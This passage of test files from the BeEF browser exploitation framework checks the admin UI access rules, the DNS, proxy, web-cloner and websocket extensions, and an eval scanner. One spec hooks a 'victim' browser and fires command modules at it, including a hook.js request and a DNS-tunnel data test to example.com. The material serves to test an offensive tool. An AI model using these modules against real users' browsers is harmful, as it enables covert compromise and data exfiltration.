expect(@config.set('beef.restrictions.permitted_ui_subnet',["0.0.0.0/0", "::/0"])).to eq true expect(ui.authenticate_request("8.8.8.8")).to eq true end it 'confirms that an ip address is permitted to view the admin ui' do ui = BeEF::Extension::AdminUI::HttpController.new expect(@config.set('beef.restrictions.permitted_ui_subnet',["192.168.10.1"])).to eq true expect(ui.authenticate_request("192.168.10.1")).to eq true end it 'confirms that an ip address is not permitted to view the admin ui' do ui = BeEF::Extension::AdminUI::HttpController.new expect(@config.set('beef.restrictions.permitted_ui_subnet',["10.10.10.1"])).to eq true expect(ui.authenticate_request("8.8.8.8")).to eq false end it 'confirms that X-Forwarded-For cant be spoofed when reverse proxy is disabled' do ui = BeEF::Extension::AdminUI::HttpController.new expect(@config.set('beef.restrictions.permitted_ui_subnet',["192.168.0.10"])).to eq true expect(@config.set('beef.http.allow_reverse_proxy',false)).to eq true env = { "REQUEST_METHOD" => "GET", "PATH_INFO" => "/ui/authentication" } request = Rack::Request.new(env) request.add_header("HTTP_X_FORWARDED_FOR","192.168.0.10") request.add_header("REMOTE_ADDR","192.168.0.20") expect(ui.get_ip(request)).to eq "192.168.0.20" end end ================================================ FILE: spec/beef/extensions/dns_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'resolv' require 'extensions/dns/extension.rb' RSpec.describe 'BeEF Extension DNS' do IN = Resolv::DNS::Resource::IN before(:all) do @config = BeEF::Core::Configuration.instance @config.load_extensions_config @dns = BeEF::Extension::Dns::Server.instance end after(:all) do # Stop the DNS server after each test case BeEF::Extension::Dns::Server.instance.stop # this might not be needed? end it 'loaded configuration' do config = @config.get('beef.extension.dns') expect(config).to have_key('protocol') expect(config).to have_key('address') expect(config).to have_key('port') expect(config).to have_key('upstream') end it 'responds to interfaces' do expect(@dns).to respond_to(:add_rule) expect(@dns).to respond_to(:get_rule) expect(@dns).to respond_to(:remove_rule!) expect(@dns).to respond_to(:get_ruleset) expect(@dns).to respond_to(:remove_ruleset!) end context 'add good rule' do it '1.2.3.4' do id = nil response = '1.2.3.4' expect { id = @dns.add_rule( :pattern => 'foo.bar', :resource => IN::A, :response => [response] ) do |transaction| transaction.respond!(response) end }.to_not raise_error expect(id).to_not be_nil end it '9.9.9.9' do id = nil response = '9.9.9.9' expect { id = @dns.add_rule( :pattern => %r{i\.(love|hate)\.beef\.com?}, :resource => IN::A, :response => [response] ) do |transaction| transaction.respond!(response) end }.to_not raise_error expect(id).to_not be_nil end it 'domains' do response = '9.9.9.9' domains = %w( i.hate.beef.com i.love.beef.com i.love.beef.co i.love.beef.co ) domains.each do |d| id = nil expect { id = @dns.add_rule( :pattern => %r{i\.(love|hate)\.beef\.com?}, :resource => IN::A, :response => [response] ) do |transaction| transaction.respond!(response) end }.to_not raise_error expect(id).to_not be_nil end end context 'add bad rule' do it '4.2.4.2' do id = nil same_id = nil pattern = 'j.random.hacker' response = '4.2.4.2' expect { id = @dns.add_rule( :pattern => pattern, :resource => IN::A, :response => [response] ) do |transaction| transaction.respond!(response) end }.to_not raise_error expect { same_id = @dns.add_rule( :pattern => pattern, :resource => IN::A, :response => [response] ) do |transaction| transaction.respond!(response) end }.to_not raise_error expect { same_id = @dns.add_rule( :pattern => pattern, :resource => IN::A, :response => [response] ) do |transaction| transaction.respond!(response) end }.to_not raise_error expect(id).to eql(same_id) end end end # it 'id format' do # pattern = 'dead.beef' # response = '2.2.2.2' # id = nil # expect { # id = @dns.add_rule( # :pattern => pattern, # :resource => IN::A, # :response => [response] ) do |transaction| # transaction.respond!(response) # end # }.to_not raise_error # expect(id.length).to eql(8) # expect(id).to match(/^\h{8}$/) # end it 'get good rule' do pattern = 'be.ef' response = '1.1.1.1' id = nil expect { id = @dns.add_rule( :pattern => pattern, :resource => IN::A, :response => [response] ) do |transaction| transaction.respond!(response) end }.to_not raise_error expect(id).to_not be_nil rule = @dns.get_rule(id) expect(rule).to be_a(Hash) expect(rule.length).to be > 0 expect(rule).to have_key(:id) expect(rule).to have_key(:pattern) expect(rule).to have_key(:resource) expect(rule).to have_key(:response) expect(rule[:id]).to eql(id) expect(rule[:pattern]).to eql(pattern) expect(rule[:resource]).to eql('A') expect(rule[:response]).to be_a(Array) expect(rule[:response].length).to be > 0 expect(rule[:response].first).to eql(response) end it 'get bad rule' do expect(@dns.get_rule(42)).to be_nil end it 'remove good rule' do pattern = 'hack.the.gibson' response = '1.9.9.5' id = nil expect { id = @dns.add_rule( :pattern => pattern, :resource => IN::A, :response => [response] ) do |transaction| transaction.respond!(response) end }.to_not raise_error expect(@dns.remove_rule!(id)).to be(true) end it 'remove bad rule' do expect(@dns.remove_rule!(42)).to be_nil end it 'get ruleset' do rules = [ { pattern: 'be.ef', resource: 'Resolv::DNS::Resource::IN::A', response: ['1.1.1.1'] }, { pattern: 'dead.beef', resource: 'Resolv::DNS::Resource::IN::A', response: ['2.2.2.2'] }, { pattern: 'foo.bar', resource: 'Resolv::DNS::Resource::IN::A', response: ['1.2.3.4'] }, { pattern: 'i\.(love|hate)\.beef.com?', resource: 'Resolv::DNS::Resource::IN::A', response: ['9.9.9.9'] }, { pattern: 'j.random.hacker', resource: 'Resolv::DNS::Resource::IN::A', response: ['4.2.4.2'] } ] @dns.remove_ruleset! expect(@dns.get_ruleset.length).to eql(0) rules.each do |r| @dns.add_rule( :pattern => r[:pattern], :resource => IN::A, :response => r[:response] ) end ruleset = @dns.get_ruleset #ruleset.sort! { |a, b| a[:pattern] <=> b[:pattern] } expect(ruleset.length).to eql(5) rules.each_with_index do |v,i| expect(ruleset[i][:pattern]).to eql(v[:pattern]) expect(ruleset[i][:resource]).to eql(v[:resource]) expect(ruleset[i][:response]).to eql(v[:response]) end end it 'remove ruleset' do expect(@dns.remove_ruleset!).to be(true) expect(@dns.get_ruleset.length).to eql(0) end it 'failure types' do end end # Tests each supported type of query failure # def test_13_failure_types # begin # id = @@dns.add_rule( # :pattern => 'noerror.beef.com', # :resource => IN::A, # :response => ['1.2.3.4'] ) do |transaction| # transaction.failure!(:NoError) # end # #check_failure_status(id, :NoError) # end # # begin # id = @@dns.add_rule( # :pattern => 'formerr.beef.com', # :resource => IN::A, # :response => ['1.2.3.4'] ) do |transaction| # transaction.failure!(:FormErr) # end ## #check_failure_status(id, :FormErr) # end # # begin # id = @@dns.add_rule( # :pattern => 'servfail.beef.com', # :resource => IN::A, # :response => ['1.2.3.4'] ) do |transaction| # transaction.failure!(:ServFail) # end # #check_failure_status(id, :ServFail) # end # # begin # id = @@dns.add_rule( # :pattern => 'nxdomain.beef.com', # :resource => IN::A, # :response => ['1.2.3.4'] ) do |transaction| # transaction.failure!(:NXDomain) # end # #check_failure_status(id, :NXDomain) # end # # begin # id = @@dns.add_rule( # :pattern => 'notimp.beef.com', # :resource => IN::A, ## :response => ['1.2.3.4'] ) do |transaction| # transaction.failure!(:NotImp) # end # #check_failure_status(id, :NotImp) # end # # begin # id = @@dns.add_rule( # :pattern => 'refused.beef.com', # :resource => IN::A, # :response => ['1.2.3.4'] ) do |transaction| ### transaction.failure!(:Refused) # end # #check_failure_status(id, :Refused) # end # # begin # id = @@dns.add_rule( # :pattern => 'notauth.beef.com', # :resource => IN::A, # :response => ['1.2.3.4'] ) do |transaction| # transaction.failure!(:NotAuth) # end ## #check_failure_status(id, :NotAuth) # end # end # ## private ## # # Confirms that a query for the rule given in 'id' returns a 'resource' failure status ## def check_failure_status(id, resource) ## rule = @@dns.get_rule(id) # status = resource.to_s.force_encoding('UTF-8').upcase # assert_equal(status, rule[:response][0]) # # check_dns_response(/status: #{status}/, rule[:resource], rule[:pattern]) # end # # # Compares output of dig command against regex # def check_dns_response(regex, type, pattern) # address = @@config.get('beef.extension.dns.address') # port = @@config.get('beef.extension.dns.port') ### dig_output = IO.popen(["dig", "@#{address}", "-p", "#{port}", "-t", "#{type}", "#{pattern}"], 'r+').read # assert_match(regex, dig_output) # end ## ##end ### ================================================ FILE: spec/beef/extensions/network_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'extensions/network/models/network_service' require 'extensions/network/models/network_host' RSpec.describe 'BeEF Extension Network' do it 'add good local host' do expect { BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => '1234', :ip => '127.0.0.1') }.to_not raise_error expect(BeEF::Core::Models::NetworkHost.where(hooked_browser_id: '1234', ip: '127.0.0.1')).to_not be_empty end it 'add good not local host' do expect { BeEF::Core::Models::NetworkHost.create(:hooked_browser_id => '12', :ip => '192.168.1.2') }.to_not raise_error expect(BeEF::Core::Models::NetworkHost.where(hooked_browser_id: '12', ip: '192.168.1.2')).to_not be_empty end it 'add good service' do expect { BeEF::Core::Models::NetworkService.create(:hooked_browser_id => '1234', :proto => 'http', :ip => '127.0.0.1', :port => 80, :ntype => 'Apache') }.to_not raise_error expect(BeEF::Core::Models::NetworkService.where(hooked_browser_id: '1234', ip: '127.0.0.1')).to_not be_empty end end ================================================ FILE: spec/beef/extensions/proxy_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'extensions/proxy/extension' RSpec.describe 'BeEF Extension Proxy' do before(:all) do @config = BeEF::Core::Configuration.instance @config.load_extensions_config end it 'loads configuration' do config = @config.get('beef.extension.proxy') expect(config).to have_key('enable') expect(config).to have_key('address') expect(config).to have_key('port') expect(config).to have_key('key') expect(config).to have_key('cert') end end ================================================ FILE: spec/beef/extensions/qrcode_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'extensions/qrcode/extension' RSpec.describe 'BeEF Extension QRCode' do before(:all) do @config = BeEF::Core::Configuration.instance @config.load_extensions_config end it 'loads configuration' do config = @config.get('beef.extension.qrcode') expect(config).to have_key('enable') expect(config).to have_key('targets') expect(config).to have_key('qrsize') expect(config).to have_key('qrborder') end end ================================================ FILE: spec/beef/extensions/requester_spec.rb ================================================ require 'extensions/requester/extension' # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF Extension Requester' do before(:all) do @config = BeEF::Core::Configuration.instance @config.load_extensions_config end it 'loads configuration' do expect(@config.get('beef.extension.requester')).to have_key('enable') end it 'has interface' do requester = BeEF::Extension::Requester::API::Hook.new expect(requester).to respond_to(:requester_run) expect(requester).to respond_to(:add_to_body) expect(requester).to respond_to(:requester_parse_db_request) end xit 'requester works' do begin ar_snapshot = SpecActiveRecordConnection.snapshot # Start beef server @config = BeEF::Core::Configuration.instance @config.set('beef.credentials.user', 'beef') @config.set('beef.credentials.passwd', 'beef') # Generate API token BeEF::Core::Crypto::api_token # Connect to DB ActiveRecord::Base.logger = nil OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: 'beef.db') OTR::ActiveRecord.establish_connection! if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') # Migrate if required ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate if context.needs_migration? # Start HTTP hook server http_hook_server = BeEF::Core::Server.instance http_hook_server.prepare @pids = fork { BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) } @pid = fork { http_hook_server.start } # Wait for server to start sleep 2 # Hook a new victim and use REST API to send request api = BeefRestClient.new('http', ATTACK_DOMAIN, '3000', BEEF_USER, BEEF_PASSWD) response = api.auth() @token = response[:token] while (response = RestClient.get("#{RESTAPI_HOOKS}", {params: {token: @token}})) && (hb_details = JSON.parse(response.body)) && hb_details['hooked-browsers']['online'].empty? sleep 2 end hb_session = hb_details['hooked-browsers']['online']['0']['session'] randreq = (0...8).map { (65 + rand(26)).chr }.join RestClient.post("#{RESTAPI_REQUESTER}/send/#{hb_session}?token=#{@token}", "proto=http&raw_request=GET%20%2Ftest#{randreq}%20HTTP%2F1.1%0AHost%3A%20localhost%3A3000%0A") sleep 2 sent_request = RestClient.get("#{RESTAPI_REQUESTER}/requests/#{hb_session}?token=#{@token}") reqid = JSON.parse(sent_request)['requests'][0]['id'] response = RestClient.get("#{RESTAPI_REQUESTER}/response/#{reqid}?token=#{@token}") expect(response) ensure # Clean up BeEF::Core::Models::Http.where(hooked_browser_id: hb_session).delete_all if defined? hb_session Process.kill('KILL', @pid) if defined? @pid Process.kill('KILL', @pids) if defined? @pids SpecActiveRecordConnection.restore!(ar_snapshot) end end end ================================================ FILE: spec/beef/extensions/social_engineering_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'extensions/social_engineering/models/web_cloner' require 'extensions/social_engineering/web_cloner/web_cloner' require 'extensions/social_engineering/web_cloner/interceptor' require 'extensions/social_engineering/models/interceptor' require 'fileutils' RSpec.describe 'BeEF Extension Social Engineering' do it 'checks if wget exists' do expect(`which wget`).to include('/wget') end context 'when wget exists' do before(:each) do allow_any_instance_of(BeEF::Extension::SocialEngineering::WebCloner).to receive(:system).and_return(false) # Stub to simulate failure end xit 'clone web page', if: !`which wget`.empty? do expect { BeEF::Core::Server.instance.prepare BeEF::Extension::SocialEngineering::WebCloner.instance.clone_page("https://www.google.com", "/", nil, nil) }.to_not raise_error end it 'persistence web cloner', if: !`which wget`.empty? do expect { BeEF::Core::Models::WebCloner.create(uri: "example.com", mount: "/") }.to_not raise_error end end end ================================================ FILE: spec/beef/extensions/webrtc_spec.rb ================================================ require 'rest-client' # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF Extension WebRTC' do before(:all) do @config = BeEF::Core::Configuration.instance @config.load_extensions_config # json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json # @headers = {:content_type => :json, :accept => :json} # response = RestClient.post("#{RESTAPI_ADMIN}/login", json, @headers) # result = JSON.parse(response.body) # @token = result['token'] # @activated = @config.get('beef.extension.webrtc.enable') || false # @victim1 = BeefTest.new_victim # @victim2 = BeefTest.new_victim # sleep 8 # # Fetch last online browsers' ids # rest_response = RestClient.get "#{RESTAPI_HOOKS}", {:params => { :token => @token}} # result = JSON.parse(rest_response.body) # browsers = result["hooked-browsers"]["online"] # browsers.each_with_index do |elem, index| # if index == browsers.length - 1 # @victim2id = browsers["#{index}"]["id"].to_s # end # if index == browsers.length - 2 # @victim1id = browsers["#{index}"]["id"].to_s # end # end end after(:all) do # @victim1.driver.browser.close unless @victim1.nil? # @victim2.driver.browser.close unless @victim2.nil? end it 'loads configuration' do config = @config.get('beef.extension.webrtc') expect(config).to have_key('enable') expect(config).to have_key('stunservers') expect(config).to have_key('turnservers') end # it 'check two hooked browsers' do # expect(@activated).to be(true) # response = nil # expect { # response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @token}} # }.to_not raise_error # expect(response).to_not be_nil # expect(response.body).to_not be_nil # expect(response.code).to eql(200) # result = JSON.parse(rest_response.body) # browsers = result["hooked-browsers"]["online"] # expect(browsers).to_not be_nil # expect(browsers.length).to be >= 2 # end end ================================================ FILE: spec/beef/extensions/websocket_hooked_browser_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rest-client' require 'json' require_relative '../../spec_helper' require_relative '../../support/constants' require_relative '../../support/beef_test' require 'core/main/network_stack/websocket/websocket' require 'websocket-client-simple' RSpec.describe 'Browser hooking with Websockets', run_on_browserstack: true do before(:all) do @__ar_config_snapshot = SpecActiveRecordConnection.snapshot @config = BeEF::Core::Configuration.instance # Grab DB file and regenerate if requested print_info 'Loading database' db_file = @config.get('beef.database.file') print_info 'Resetting the database for BeEF.' if ENV['RESET_DB'] File.delete(db_file) if File.exist?(db_file) end @config.set('beef.credentials.user', 'beef') @config.set('beef.credentials.passwd', 'beef') @config.set('beef.http.websocket.secure', false) @config.set('beef.http.websocket.enable', true) @ws = BeEF::Core::Websocket::Websocket.instance @username = @config.get('beef.credentials.user') @password = @config.get('beef.credentials.passwd') # Load BeEF extensions and modules # Always load Extensions, as previous changes to the config from other tests may affect # whether or not this test passes. print_info 'Loading in BeEF::Extensions' BeEF::Extensions.load # Check if modules already loaded. No need to reload. if @config.get('beef.module').nil? print_info 'Loading in BeEF::Modules' BeEF::Modules.load else print_info 'Modules already loaded' end # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] MUTEX.synchronize do context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end end BeEF::Core::Migration.instance.update_db! # Spawn HTTP Server print_info 'Starting HTTP Hook Server' http_hook_server = BeEF::Core::Server.instance # Generate a token for the server to respond with @token = BeEF::Core::Crypto.api_token # ***** IMPORTANT: close any and all AR/OTR connections before forking ***** disconnect_all_active_record! # Initiate server start-up @pid = fork do http_hook_server.prepare BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) http_hook_server.start end begin @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID]) @caps['name'] = self.class.description || ENV['name'] || 'no-name' @caps['browserstack.local'] = true @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER'] @driver = Selenium::WebDriver.for(:remote, url: "http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub", options: @caps) # Hook new victim print_info 'Hooking a new victim, waiting a few seconds...' wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds @driver.navigate.to VICTIM_URL.to_s sleep 3 sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 } @session = @driver.execute_script('return window.beef.session.get_hook_session_id()') end end after(:all) do server_teardown(@driver, @pid, @pids) disconnect_all_active_record! SpecActiveRecordConnection.restore!(@__ar_config_snapshot) end it 'confirms a websocket server has been started' do expect(@ws).to be_a_kind_of(BeEF::Core::Websocket::Websocket) end it 'confirms a secure websocket server has been started' do @config.set('beef.http.websocket.secure', true) wss = BeEF::Core::Websocket::Websocket.instance expect(wss).to be_a_kind_of(BeEF::Core::Websocket::Websocket) end it 'can successfully hook a browser' do expect(@session).not_to be_nil end end ================================================ FILE: spec/beef/extensions/websocket_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rest-client' require 'core/main/network_stack/websocket/websocket' require 'websocket-client-simple' RSpec.describe 'BeEF Extension WebSockets' do before(:all) do @config = BeEF::Core::Configuration.instance @cert_key = @config.get('beef.http.https.key') @cert = @config.get('beef.http.https.cert') @port = @config.get('beef.http.websocket.port') @secure_port = @config.get('beef.http.websocket.secure_port') @config.set('beef.http.websocket.secure', false) @ws = BeEF::Core::Websocket::Websocket.instance end after(:all) do @config.set('beef.http.websocket.secure', true) end it 'confirms that a websocket server has been started' do expect(@ws).to be_a_kind_of(BeEF::Core::Websocket::Websocket) end it 'confirms that a secure websocket server has been started' do @config.set('beef.http.websocket.secure', true) wss = BeEF::Core::Websocket::Websocket.instance expect(wss).to be_a_kind_of(BeEF::Core::Websocket::Websocket) end xit 'confirms that a websocket client can connect to the BeEF Websocket Server' do sleep(3) client = WebSocket::Client::Simple.connect "ws://127.0.0.1:#{@port}" sleep(1) expect(client).to be_a_kind_of(WebSocket::Client::Simple::Client) expect(client.open?).to be true client.close end end ================================================ FILE: spec/beef/extensions/xssrays_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'extensions/xssrays/extension' RSpec.describe 'BeEF Extension XSSRays' do before(:all) do @config = BeEF::Core::Configuration.instance @config.load_extensions_config end it 'loads configuration' do config = @config.get('beef.extension.xssrays') expect(config).to have_key('enable') expect(config).to have_key('clean_timeout') expect(config).to have_key('cross_origin') end it 'interface' do xssrays = BeEF::Extension::Xssrays::API::Scan.new expect(xssrays).to respond_to(:start_scan) expect(xssrays).to respond_to(:add_to_body) end end ================================================ FILE: spec/beef/filesystem_checks_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF Filesystem' do def file_test(file) expect(File.file?(file)).to be(true) expect(File.zero?(file)).to be(false) end it 'required files' do files = [ 'beef', 'config.yaml', 'install' ] files.each do |f| file_test(f) end end it 'executable directories' do dirs = [ 'core', 'modules', 'extensions' ] dirs.each do |d| expect(File.executable?(d)).to be(true) end end end ================================================ FILE: spec/beef/modules/debug/test_beef_debugs_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rest-client' require 'json' require_relative '../../../spec_helper' require_relative '../../../support/constants' require_relative '../../../support/beef_test' RSpec.describe 'BeEF Debug Command Modules:', run_on_browserstack: true do before(:all) do @__ar_config_snapshot = SpecActiveRecordConnection.snapshot # Grab config and set creds in variables for ease of access @config = BeEF::Core::Configuration.instance @pids = [] # ensure defined for teardown consistency # Grab DB file and regenerate if requested print_info 'Loading database' db_file = @config.get('beef.database.file') print_info 'Resetting the database for BeEF.' if ENV['RESET_DB'] File.delete(db_file) if File.exist?(db_file) end @username = @config.get('beef.credentials.user') @password = @config.get('beef.credentials.passwd') # Load BeEF extensions and modules # Always load Extensions, as previous changes to the config from other tests may affect # whether or not this test passes. print_info 'Loading in BeEF::Extensions' BeEF::Extensions.load # Check if modules already loaded. No need to reload. if @config.get('beef.module').nil? print_info 'Loading in BeEF::Modules' BeEF::Modules.load else print_info 'Modules already loaded' end # Load up DB and migrate if necessary ActiveRecord::Base.logger = nil OTR::ActiveRecord.configure_from_hash!(adapter: 'sqlite3', database: db_file) # otr-activerecord require you to manually establish the connection with the following line #Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems. if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2') OTR::ActiveRecord.establish_connection! end ActiveRecord::Migrator.migrations_paths = [File.join('core', 'main', 'ar-migrations')] MUTEX.synchronize do context = ActiveRecord::MigrationContext.new(ActiveRecord::Migrator.migrations_paths) if context.needs_migration? ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration, context.internal_metadata).migrate end end BeEF::Core::Migration.instance.update_db! # Spawn HTTP Server print_info 'Starting HTTP Hook Server' http_hook_server = BeEF::Core::Server.instance # Generate a token for the server to respond with @token = BeEF::Core::Crypto.api_token # ***** IMPORTANT: close any and all AR/OTR connections before forking ***** disconnect_all_active_record! # Initiate server start-up @pid = fork do http_hook_server.prepare BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server) http_hook_server.start end begin @caps = CONFIG['common_caps'].merge(CONFIG['browser_caps'][TASK_ID]) @caps['name'] = self.class.description || ENV['name'] || 'no-name' @caps['browserstack.local'] = true @caps['browserstack.localIdentifier'] = ENV['BROWSERSTACK_LOCAL_IDENTIFIER'] @driver = Selenium::WebDriver.for(:remote, url: "http://#{CONFIG['user']}:#{CONFIG['key']}@#{CONFIG['server']}/wd/hub", options: @caps) # Hook new victim print_info 'Hooking a new victim, waiting a few seconds...' wait = Selenium::WebDriver::Wait.new(timeout: 30) # seconds @driver.navigate.to VICTIM_URL.to_s sleep 1 sleep 1 until wait.until { @driver.execute_script('return window.beef.session.get_hook_session_id().length') > 0 } @session = @driver.execute_script('return window.beef.session.get_hook_session_id()') # Grab Command Module IDs as they can differ from machine to machine @debug_mod_ids = JSON.parse(RestClient.get("#{RESTAPI_MODULES}?token=#{@token}")) @debug_mod_names_ids = {} @debug_mods = @debug_mod_ids.to_a.select do |cmd_mod| category = Array(cmd_mod['category']) category_string = if category.is_a?(Array) category.join(', ') else category.to_s end category_string.include?('Debug') end.map do |debug_mod| @debug_mod_names_ids[debug_mod['class']] = debug_mod['id'] end rescue StandardError => e print_info "Exception: #{e}" print_info "Exception Class: #{e.class}" print_info "Exception Message: #{e.message}" print_info "Exception Stack Trace: #{e.backtrace}" if @driver.execute_script('return window.beef.session.get_hook_session_id().length').nil? exit 1 else exit 0 end end end after(:all) do server_teardown(@driver, @pid, @pids) disconnect_all_active_record! SpecActiveRecordConnection.restore!(@__ar_config_snapshot) end it 'The Test_beef.debug() command module successfully executes' do cmd_mod_id = @debug_mod_names_ids['Test_beef_debug'] response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}", { "msg": 'test' }.to_json, content_type: :json result_data = JSON.parse(response.body) expect(result_data['success']).to eq 'true' end it 'The Return ASCII Characters command module successfully executes' do cmd_mod_id = @debug_mod_names_ids['Test_return_ascii_chars'] response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}", {}.to_json, content_type: :json result_data = JSON.parse(response.body) expect(result_data['success']).to eq 'true' end it 'The Return Image command module successfully executes' do cmd_mod_id = @debug_mod_names_ids['Test_return_image'] response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}", {}.to_json, content_type: :json result_data = JSON.parse(response.body) expect(result_data['success']).to eq 'true' end it 'The Test HTTP Redirect command module successfully executes' do cmd_mod_id = @debug_mod_names_ids['Test_http_redirect'] response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}", {}.to_json, content_type: :json result_data = JSON.parse(response.body) expect(result_data['success']).to eq 'true' end it 'The Test Returning Results/Long String command module successfully executes' do cmd_mod_id = @debug_mod_names_ids['Test_return_long_string'] response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}", { "repeat": 20, "repeat_string": 'beef' }.to_json, content_type: :json result_data = JSON.parse(response.body) expect(result_data['success']).to eq 'true' end it 'The Test Network Request command module successfully executes' do cmd_mod_id = @debug_mod_names_ids['Test_network_request'] response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}", { "scheme": 'http', "method": 'GET', "domain": ATTACK_DOMAIN.to_s, "port": @config.get('beef.http.port').to_s, "path": '/hook.js', "anchor": 'anchor', "data": 'query=testquerydata', "timeout": '10', "dataType": 'script' }.to_json, content_type: :json result_data = JSON.parse(response.body) expect(result_data['success']).to eq 'true' end it 'The Test DNS Tunnel command module successfully executes' do cmd_mod_id = @debug_mod_names_ids['Test_dns_tunnel_client'] response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}", { "domain": 'example.com', "data": 'Lorem ipsum' }.to_json, content_type: :json result_data = JSON.parse(response.body) expect(result_data['success']).to eq 'true' end it 'The Test CORS Request command module successfully executes' do cmd_mod_id = @debug_mod_names_ids['Test_cors_request'] response = RestClient.post "#{RESTAPI_MODULES}/#{@session}/#{cmd_mod_id}?token=#{@token}", { "method": 'GET', "url": 'example.com', "data": { "test": 'data' } }.to_json, content_type: :json result_data = JSON.parse(response.body) expect(result_data['success']).to eq 'true' end end ================================================ FILE: spec/beef/security_checks_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # RSpec.describe 'BeEF Security Checks' do it 'dangerous eval usage' do Dir['**/*.rb'].each do |path| File.open(path) do |f| next if /#{File.basename(__FILE__)}/.match(path) # skip this file next if %r{/msf-test/}.match(path) # skip this file next if %r{extensions/dns}.match(path) # skip this file f.grep(/\Weval\W/im) do |line| # check if comment starting with the '#' character clean_line = line.downcase.gsub(/[ ]/, "") if clean_line[0] != '#' # check first non-whitespace position raise "Illegal use of 'eval' found in\n Path: #{path}\nLine: #{line}" end end end end end end ================================================ FILE: spec/features/all_modules_spec.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # require 'rspec' require 'rest-client' require 'spec/support/constants.rb' require 'spec/support/ui_support.rb' RSpec.describe 'Load All Modules Integration', run_on_long_tests: true do before(:each) do @pid, @beef_session, @hooked_browser = start_beef_and_hook_browser end after(:each) do stop_beef_and_unhook_browser(@pid, @beef_session, @hooked_browser) end it "Load all modules" do Dir.glob("modules/**/config.yaml").each do |file| module_yaml_data = YAML.load_file(file) module_yaml_data['beef']['module'].each do |module_key, module_value| next if rand(50) != 0 # for testing purposes 